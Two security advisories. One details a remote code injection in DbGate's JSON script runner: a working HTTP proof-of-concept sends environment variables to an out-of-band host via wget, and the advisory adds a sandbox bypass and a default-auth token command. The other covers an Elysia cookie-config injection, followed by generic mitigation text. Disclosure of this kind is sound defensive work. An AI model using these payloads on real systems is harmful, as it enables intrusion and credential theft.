GHSA-8V3Q-9VMX-36VC
Vulnerability from github – Published: 2026-06-05 16:25 – Updated: 2026-06-05 16:25Summary
DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.
Details
Step 1: User Input Entry Point
File: packages/api/src/controllers/runners.js - start() method
The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:
async start({ script }, req) {
if (script.type == 'json') {
if (!platformInfo.isElectron) {
if (!checkSecureDirectoriesInScript(script)) {
return { errorMessage: 'Unallowed directories in script' };
}
}
logJsonRunnerScript(req, script);
const js = await jsonScriptToJavascript(script);
return this.startCore(runid, scriptTemplate(js, false));
}
This path skips:
1. The run-shell-script permission check
2. The allowShellScripting platform-level check
The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values
Step 2: JSON-to-JavaScript Conversion (Injection Point)
File: packages/tools/src/ScriptWriter.ts - assignCore() method
The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:
assignCore(variableName, functionName, props) {
this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}
Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.
Step 3: Function Name Compilation
File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()
Before interpolation, functionName passes through this function:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:
dbgateApi.x;MALICIOUS_CODE;//
This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.
Step 4: Generated JavaScript Template
The complete generated script that gets executed:
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()
File: packages/api/src/controllers/runners.js - startCore() method
The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.
The require = null sandbox can be bypassed via:
- process.mainModule.require() - separate reference unaffected by the null assignment
- module.constructor._load() - internal module loader, also unaffected
Additional Injection Points
The same unsanitised string interpolation pattern exists in:
| Endpoint | Parameter | File |
|---|---|---|
POST /runners/start |
functionName in assign commands |
ScriptWriter.ts - assignCore() |
POST /runners/start |
variableName in assign commands |
ScriptWriter.ts - assignCore() |
POST /runners/load-reader |
functionName parameter |
ScriptWriter.ts - loaderScriptTemplate |
PoC
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json
{
"script": {
"type": "json",
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
"props": {}
}
],
"packageNames": []
}
}
The request to the out of band host was as follows:
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c
A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login

GHSA-8VCH-M3F4-Q8JF
Vulnerability from github – Published: 2025-12-09 17:12 – Updated: 2025-12-09 21:37Arbitrary code execution from cookie config. If dynamic cookies are enabled (ie there exists a schema for cookies), the cookie config is injected into the compiled route without first being sanitised.
Availability of this exploit is generally low, as it requires write access to either the Elysia app's source code (in which case the vulnerability is meaningless) or write access to the cookie config (perhaps where it is assumed to be provisioned by the environment).
However when combined with GHSA-hxj9-33pp-j2cc, this vulnerability allows for a full RCE chain.
Impact
- aot enabled (default)
- cookie schema passed to route
- Cookie config controllable eg. via env
Example of vulnerable code
new Elysia({
cookie: {
secrets: `' + console.log('pwned from secrets') + '`
},
})
.get("/", () => "hello world", {
cookie: t.Cookie({
foo: t.Any(),
}),
})

Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
